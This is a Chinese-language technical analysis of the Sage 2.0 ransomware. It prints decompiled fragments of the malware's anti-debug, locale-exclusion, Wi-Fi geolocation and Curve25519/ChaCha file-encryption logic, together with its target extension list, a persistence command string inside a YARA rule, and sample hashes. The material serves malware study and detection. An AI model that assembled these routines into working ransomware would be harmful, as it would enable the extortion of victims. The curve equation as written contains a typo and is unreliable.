針對勒索軟件Sage 2.0的分析
前言
Sage勒索軟件是勒索軟件家族的一個新成員,也是勒索軟件CryLocker的一個變種。從目前情況分析,隱藏在Sage背后的始作俑者與勒索軟件Cerber、Locky和Spora的散布者應該師出同門。
在本文的分析案例中,Sage借助垃圾郵件進行傳播擴散,惡意垃圾郵件中僅僅包含一個zip壓縮文件,沒有其他文字內容。該zip文件包含了一份Word宏文檔,其主要功能是下載及安裝Sage勒索軟件。
運行該勒索軟件后,Windows的UAC窗口會不斷重復顯示,直到用戶點擊“Yes”按鈕,允許勒索軟件運行為止。
隨后勒索軟件開始對文件進行加密,被加密過的文件名以“.sage”結尾。
勒索軟件的贖金頁面會告訴受害者去Tor網絡頁面支付贖金,但首先受害者需要輸入正確的驗證碼才能訪問該頁面。
驗證碼校驗通過后,受害者可以看到Sage 2.0的主頁面,如下圖所示。
受害者甚至可以在這個網站與軟件作者進行交流。
Sage不會在加密工作結束后自我刪除,而是將自身復制到“%APPDATA%\Roaming”目錄,每次系統重啟后,Sage會重新加密所有文件,直到受害者支付贖金。
技術分析
接下來我們將著重從技術角度對Sage 2.0進行分析。
軟件的主函數流程與以下代碼類似:
- int main(int argc, const char **argv, const char **envp)
- {
- ModCheck();
- DebugCheck();
- AntiDebug(v3);
- if ( AntiDebugCheckMutex() )
- return 0;
- GetOrGenerateMainCryptoKey();
- if ( IsProtectedLocale() )
- {
- FingerprintLocation(2);
- Sleep(0x493E0u);
- FingerprintLocation(2);
- Sleep(0x927C0u);
- FingerprintLocation(2);
- SelfDelete();
- result = 0;
- }
- else
- {
- if ( !CheckFingerprintLocation() )
- return 0;
- result = CreateThreadsAndEncrypt(&mainEncKeyt);
- }
- return result;
- }
代碼中包含很多的指紋信息探測及檢查過程,這些過程都是常見流程,比較有趣的功能包括以下幾點:
1)調試開關功能
首次運行時軟件可能會出現某些問題,因此軟件內置了一個調試命令行參數功能來測試軟件設置參數是否正確:
- LPWSTR *DebugCheck()
- {
- cmdLine = GetCommandLineW();
- result = CommandLineToArgvW(cmdLine, &numArgs);
- if ( numArgs == 2 )
- {
- result = (LPWSTR *)result[1];
- if ( *result == 'd' && !*(result + 1) )
- {
- if ( AttachConsole(0xFFFFFFFF) )
- {
- stdout = GetStdHandle(0xFFFFFFF5);
- debugmsg = sprintf_0("{\"b\":\"%#.*s\"}", 8, FingerprintDword + 4);
- WriteFile(stdout, debugmsg, lstrlenA(debugmsg), &NumberOfBytesWritten, 0);
- }
- ExitProcess(0);
- }
- }
- }
調試功能的運行結果如下圖所示。
這個調試功能之所以存在,可能是因為作者疏忽大意,忘了從最終版本中刪除相應代碼。
2)區域檢查功能
Sage 2.0的作者給了某幾個國家特殊關照,如以下的區域檢查代碼片段:
- signed int IsProtectedLocale()
- {
- localeCount = GetKeyboardLayoutList(10, (HKL *)&List);
- if ( localeCount <= 0 )
- return 0;
- i = 0;
- if ( localeCount <= 0 )
- return 0;
- while ( 1 )
- {
- next = (unsigned int)(&List)[i] & 0x3FF;
- if ( next == 0x23 || next == 0x3F || next == 0x19 || next == 0x22 || next == 0x43 || (_WORD)next == 0x85 )
- break;
- if ( ++i >= localeCount )
- return 0;
- }
- return 1;
- }
碼對用戶鍵盤布局進行了檢測,next變量的數值與語種的對應關系為:
有點令人失望的是波蘭語系并不在軟件的例外列表中,如果Sage作者能看到這篇文章的話,請將0x15值添加到程序代碼中(注:作者的調侃)。
3)地理位置指紋識別功能
Sage試圖通過maps.googleapis.com得到宿主機的地理位置信息以及SSID、MAC信息,如以下代碼:
- strcpy_((int)arg0, "/maps/api/browserlocation/json?browser=firefox&sensor=true");
- i = 0;
- if ( v12[1] )
- {
- offset = 0;
- do
- {
- ss_ = (int)&v12[offset + 2];
- if ( *(_DWORD *)ss_ <= 0x20u )
- {
- ToHexStrring(&mac, (unsigned __int8 *)&v12[offset + 12]);
- str_append(ssid, (_BYTE *)(ss_ + 4), *(_DWORD *)ss_);
- ssid[*(_DWORD *)ss_] = 0;
- sprintf_1((int)arg0, "&wifi=mac:%s|ssid:%s|ss:%d", &mac, ssid, (*(_DWORD *)(ss_ + 60) >> 1) - 100);
- }
- ++i;
- offset += 90;
- }
- while ( i < v12[1] );
- }
- // ...
- DoHttpGetRequest((DWORD)&dwNumberOfBytesAvailable, "maps.googleapis.com", 0x1BBu, v8)
特征文件判定,文件加密流程開始前,Sage首先檢查某個特征文件是否存在:
- if ( CreateFileW(L"C:\\Temp\\lol.txt", 0x80000000, 1u, 0, 3u, 0, 0) == (HANDLE)-1 )
- {
- // encryption code
- }
Sage作者通過判斷特征文件是否存在,決定加密流程是否啟動,以避免對作者本機的文件造成影響。
若該特征文件不存在,Sage將啟動加密流程。
文件后綴清單
Sage不會對所有文件進行加密,它只對文件后綴清單中的文件進行加密,受影響的文件后綴如下所示:
- .dat .mx0 .cd .pdb .xqx .old .cnt .rtp .qss .qst .fx0 .fx1 .ipg .ert .pic .img
- .cur .fxr .slk .m4u .mpe .mov .wmv .mpg .vob .mpeg .3g2 .m4v .avi .mp4 .flv
- .mkv .3gp .asf .m3u .m3u8 .wav .mp3 .m4a .m .rm .flac .mp2 .mpa .aac .wma .djv
- .pdf .djvu .jpeg .jpg .bmp .png .jp2 .lz .rz .zipx .gz .bz2 .s7z .tar .7z .tgz
- .rar .zip .arc .paq .bak .set .back .std .vmx .vmdk .vdi .qcow .ini .accd .db
- .sqli .sdf .mdf .myd .frm .odb .myi .dbf .indb .mdb .ibd .sql .cgn .dcr .fpx
- .pcx .rif .tga .wpg .wi .wmf .tif .xcf .tiff .xpm .nef .orf .ra .bay .pcd .dng
- .ptx .r3d .raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop
- .potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .eps .as3 .pns .wpd .wps .msg
- .pps .xlam .xll .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xlsm
- .xlsb .cntk .xlw .xlt .xlm .xlc .dif .sxc .vsd .ots .prn .ods .hwp .dotm .dotx
- .docm .docx .dot .cal .shw .sldm .txt .csv .mac .met .wk3 .wk4 .uot .rtf .sldx
- .xls .ppt .stw .sxw .dtd .eml .ott .odt .doc .odm .ppsm .xlr .odc .xlk .ppsx
- .obi .ppam .text .docb .wb2 .mda .wk1 .sxm .otg .oab .cmd .bat .h .asx .lua .pl
- .as .hpp .clas .js .fla .py .rb .jsp .cs .c .jar .java .asp .vb .vbs .asm .pas
- .cpp .xml .php .plb .asc .lay6 .pp4 .pp5 .ppf .pat .sct .ms11 .lay .iff .ldf
- .tbk .swf .brd .css .dxf .dds .efx .sch .dch .ses .mml .fon .gif .psd .html
- .ico .ipe .dwg .jng .cdr .aep .aepx .123 .prel .prpr .aet .fim .pfb .ppj .indd
- .mhtm .cmx .cpt .csl .indl .dsf .ds4 .drw .indt .pdd .per .lcd .pct .prf .pst
- .inx .plt .idml .pmd .psp .ttf .3dm .ai .3ds .ps .cpx .str .cgm .clk .cdx .xhtm
- .cdt .fmv .aes .gem .max .svg .mid .iif .nd .2017 .tt20 .qsm .2015 .2014 .2013
- .aif .qbw .qbb .qbm .ptb .qbi .qbr .2012 .des .v30 .qbo .stc .lgb .qwc .qbp
- .qba .tlg .qbx .qby .1pa .ach .qpd .gdb .tax .qif .t14 .qdf .ofx .qfx .t13 .ebc
- .ebq .2016 .tax2 .mye .myox .ets .tt14 .epb .500 .txf .t15 .t11 .gpc .qtx .itf
- .tt13 .t10 .qsd .iban .ofc .bc9 .mny .13t .qxf .amj .m14 ._vc .tbp .qbk .aci
- .npc .qbmb .sba .cfp .nv2 .tfx .n43 .let .tt12 .210 .dac .slp .qb20 .saj .zdb
- .tt15 .ssg .t09 .epa .qch .pd6 .rdy .sic .ta1 .lmr .pr5 .op .sdy .brw .vnd .esv
- .kd3 .vmb .qph .t08 .qel .m12 .pvc .q43 .etq .u12 .hsr .ati .t00 .mmw .bd2 .ac2
- .qpb .tt11 .zix .ec8 .nv .lid .qmtf .hif .lld .quic .mbsb .nl2 .qml .wac .cf8
- .vbpf .m10 .qix .t04 .qpg .quo .ptdb .gto .pr0 .vdf .q01 .fcr .gnc .ldc .t05
- .t06 .tom .tt10 .qb1 .t01 .rpf .t02 .tax1 .1pe .skg .pls .t03 .xaa .dgc .mnp
- .qdt .mn8 .ptk .t07 .chg .#vc .qfi .acc .m11 .kb7 .q09 .esk .09i .cpw .sbf .mql
- .dxi .kmo .md .u11 .oet .ta8 .efs .h12 .mne .ebd .fef .qpi .mn5 .exp .m16 .09t
- .00c .qmt .cfdi .u10 .s12 .qme .int? .cf9 .ta5 .u08 .mmb .qnx .q07 .tb2 .say
- .ab4 .pma .defx .tkr .q06 .tpl .ta2 .qob .m15 .fca .eqb .q00 .mn4 .lhr .t99
- .mn9 .qem .scd .mwi .mrq .q98 .i2b .mn6 .q08 .kmy .bk2 .stm .mn1 .bc8 .pfd .bgt
- .hts .tax0 .cb .resx .mn7 .08i .mn3 .ch .meta .07i .rcs .dtl .ta9 .mem .seam
- .btif .11t .efsl .$ac .emp .imp .fxw .sbc .bpw .mlb .10t .fa1 .saf .trm .fa2
- .pr2 .xeq .sbd .fcpa .ta6 .tdr .acm .lin .dsb .vyp .emd .pr1 .mn2 .bpf .mws
- .h11 .pr3 .gsb .mlc .nni .cus .ldr .ta4 .inv .omf .reb .qdfx .pg .coa .rec .rda
- .ffd .ml2 .ddd .ess .qbmd .afm .d07 .vyr .acr .dtau .ml9 .bd3 .pcif .cat .h10
- .ent .fyc .p08 .jsd .zka .hbk .mone .pr4 .qw5 .cdf .gfi .cht .por .qbz .ens
- .3pe .pxa .intu .trn .3me .07g .jsda .2011 .fcpr .qwmo .t12 .pfx .p7b .der .nap
- .p12 .p7c .crt .csr .pem .gpg .key
加密過程
勒索軟件最有趣的部分莫過于文件的加密過程。在勒索軟件中,Sage 2.0是非常特別的一個存在,因為它采用了橢圓曲線加密算法對文件進行加密。
加密所使用的橢圓曲線函數是“y^2 = x^3 + 486662x^x + x”,使用的素數范圍是“2^255 – 19”,基數變量x=9。Sage所采用的橢圓曲線是著名的Curve25519曲線,是現代密碼學中最先進的技術。Curve25519不僅是最快的ECC(Elliptic Curve Cryptography,橢圓曲線加密算法)曲線之一,也不易受到弱RNG(Random Number Generator,隨機數生成器)的影響,設計時考慮了側信道攻擊,避免了許多潛在的實現缺陷,并且很有可能不存在第三方內置后門。
Sage將Curve25519算法與硬編碼的公鑰一起使用生成共享密鑰。主密鑰生成算法如下所示(結構體和函數名由我們重新命名):
- int __cdecl GenerateMainKey(curve_key *result, const void *publicKey)
- {
- char mysecret[32]; // [esp+4h] [ebp-40h]@1
- char shared[32]; // [esp+24h] [ebp-20h]@1
- result->flag = 1;
- GenerateCurve25519SecretKey(mysecret);
- ComputeCurve25519MatchingPublicKey(result->gpk, mysecret);
- ComputeCurve25519SharedSecret(shared, mysecret, publicKey);
- ConvertBytesToCurve22519SecretKey(shared);
- ComputeCurve25519MatchingPublicKey(result->pk, shared);
- return 0;
- }
這段代碼看起來像是基于ECC的DH密鑰交換協議(ECDH,Elliptic Curve Diffie-Hellman)的實現代碼,但其中沒有任何保存算法私鑰的流程(私鑰只用于數據解密用途,可由軟件作者可以使用自己的私鑰隨時創建)。
代碼中復雜的函數只是ECC函數(我們稱之為CurveEncrypt函數)的封裝而已。例如,計算匹配公鑰的函數是curve25519(secretKey, basePoint),其中basePoint等于9(即9后面跟31個零)。
- int __cdecl ComputeCurve25519MatchingPublicKey(char *outPtr, char *randbytes)
- {
- char key[32]; // [esp+8h] [ebp-20h]@1
- qmemcpy(key, &Curve25519BasePoint, sizeof(key));
- key[31] = Curve25519BasePointEnd & 0x7F;
- return CurveEncrypt(outPtr, randbytes, key);
- }
共享密鑰的計算與之類似,不同的是所使用的是公鑰而不是常數基數,如下:
- int __cdecl ComputeCurve25519SharedSecret(char *shared, char *mySecret, const void *otherPublicKey)
- {
- char a3a[32]; // [esp+8h] [ebp-20h]@1
- qmemcpy(a3a, otherPublicKey, sizeof(a3a));
- a3a[31] &= 0x7Fu;
- return CurveEncrypt(shared, mySecret, a3a);
- }
得益于Curve25519的精妙設計,任意序列隨機字節與密鑰之間的相互轉換是非常容易的,只需要對幾個比特進行修改就已足夠:
- curve_key *__cdecl ConvertBytesToCurve22519SecretKey(curve_key *a1)
- {
- curve_key *result; // eax@1
- char v2; // cl@1
- result = a1;
- v2 = a1->gpk[31];
- result->gpk[0] &= 248u;
- a1->gpk[31] = v2 & 0x3F | 0x40;
- return result;
- }
同理,私鑰的生成也非常容易,只需要生成一個32字節的隨機數,將其轉換為私鑰即可:
- int __cdecl GenerateCurve25519SecretKey(_BYTE *buffer)
- {
- char v1; // al@1
- getSecureRandom(32, (int)buffer);
- v1 = buffer[31];
- *buffer &= 248u;
- buffer[31] = v1 & 0x3F | 0x40;
- return 0;
- }
以上就是密鑰生成的全部流程。至于文件加密流程,Sage首先是使用Curve25519對文件進行首次加密,再利用ChaCha算法進行后續加密(同樣也是非常規加密方法),加密密鑰附在輸出文件的尾部:
- GenerateCurve25519SecretKey(&secretKey);
- ComputeCurve25519MatchingPublicKey(pubKey, &secretKey);
- ComputeCurve25519SharedSecret(sharedSecret, &secretKey, ellipticCurveKey->pk);
- //
- ChaChaInit(&chaCha20key, (unsigned __int8 *)sharedSecret, (unsigned __int8 *)minikey);
- while (bytesLeftToRead) {
- // Read from file to lpBuff
- ChaChaEncrypt(&chaCha20key, lpBuff, lpBuff, numBytesRead);
- // Write from file to lpBuff
- }
- AppendFileKeyInfo(hFile_1, ellipticCurveKey, &FileSize, pubKey, a5);
AppendFileKeyInfo函數的功能是將共享密鑰和pubKey附加到文件尾部:
- int __cdecl AppendFileKeyInfo(HANDLE hFile, curve_key *sharedKey, DWORD *dataSize, char *pubKey, int a5)
- {
- DWORD dataSizeV; // edx@1
- int result; // eax@3
- _DWORD buffer[24]; // [esp+8h] [ebp-60h]@1
- buffer[0] = 0x5A9EDEAD;
- qmemcpy(&buffer[1], sharedKey, 0x20u);
- qmemcpy(&buffer[9], pubKey, 0x20u);
- dataSizeV = *dataSize;
- buffer[19] = dataSize[1];
- buffer[18] = dataSizeV;
- buffer[21] = a5;
- buffer[20] = 0;
- buffer[22] = 0x5A9EBABE;
- if ( WriteFile(hFile, buffer, 0x60u, (LPDWORD)&sharedKey, 0) && sharedKey == (curve_key *)96 )
- result = 0;
- else
- result = -5;
- return result;
- }
ChaCha并不是勒索軟件常用的算法,它與Salsa20算法緊密相關(勒索軟件Petya用的就是Salsa20算法)。我們并不知道為何Sage不適用AES,有可能它只是想特立獨行而已。
換而言之,對于每一個加密文件,都對應有兩組密鑰+一個密鑰對,對應關系如下所示:
- my_secret <- random
- my_public <- f(my_secret) # gpk
- sh_secret <- f(my_secret, c2_public)
- sh_public <- f(sh_secret) # pk
- fl_secret <- random
- fl_public <- f(fl_secret)
- fl_shared <- f(fl_secret, sh_public)
- chachakey <- f(fl_shared)
Sage完成加密工作后,我們只獲得了其中my_public、sh_public以及fl_shared的值,我們還需要獲得chachakey的值才能正確解密文件。
Sage采用了相當牢固的加密方法,可以在離線狀態下加密文件,不需要連接C&C服務器進行密鑰協商,原因在于加密所需要的公鑰已經硬編碼在勒索軟件中,并且經過了非對稱加密處理。如果Sage作者沒有犯太大的編程錯誤的話,那么文件的解密恢復就渺渺無期。當然,主加密密鑰最終總是有可能會被泄露或者公布出來的。
附加信息
匹配Sage所使用的Yara規則:
- rule sage
- {
- meta:
- author="msm"
- strings:
- /* ransom message */
- $ransom1 = "ATTENTION! ALL YOUR FILES WERE ENCRYPTED!"
- $ransom2 = "SAGE 2.0 uses military grade elliptic curve cryptography and you"
- /* other strings */
- $str0 = "!Recovery_%s.html"
- $str1 = "/CREATE /TN \"%s\" /TR \"%s\" /SC ONLOGON /RL HIGHEST /F"
- /* code */
- $get_subdomain = {8B 0D ?? ?? 40 00 6A ?? [2] A1 ?? ?? 40 00 5? 5? 50 51 53 E8}
- $debug_file_name = {6A 00 6A 01 68 00 00 00 80 68 [4] FF 15 [4] 83 F8 FF}
- $get_request_subdomain = {74 ?? A1 [4] 5? 5? 68 ?? ?? 40 00 E8}
- $get_ec_pubkey = {68 [2] 40 00 68 [2] 40 00 E8 [4] 68 B9 0B 00 00 6A 08 E8}
- $get_extensions = { 8B 35 [2] 40 00 [0-3] 80 3E 00 74 24 }
- condition:
- all of ($ransom*) and any of ($str*)
- and any of ($get_subdomain, $debug_file_name, $get_request_subdomain, $get_ec_pubkey, $get_extensions)
- }
樣本哈希值(SHA256):
- sample 1, 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339
- sample 2, 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c
- sample 3, ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850
- sample 4, 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2
- sample 5, 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05
其他資料:
https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga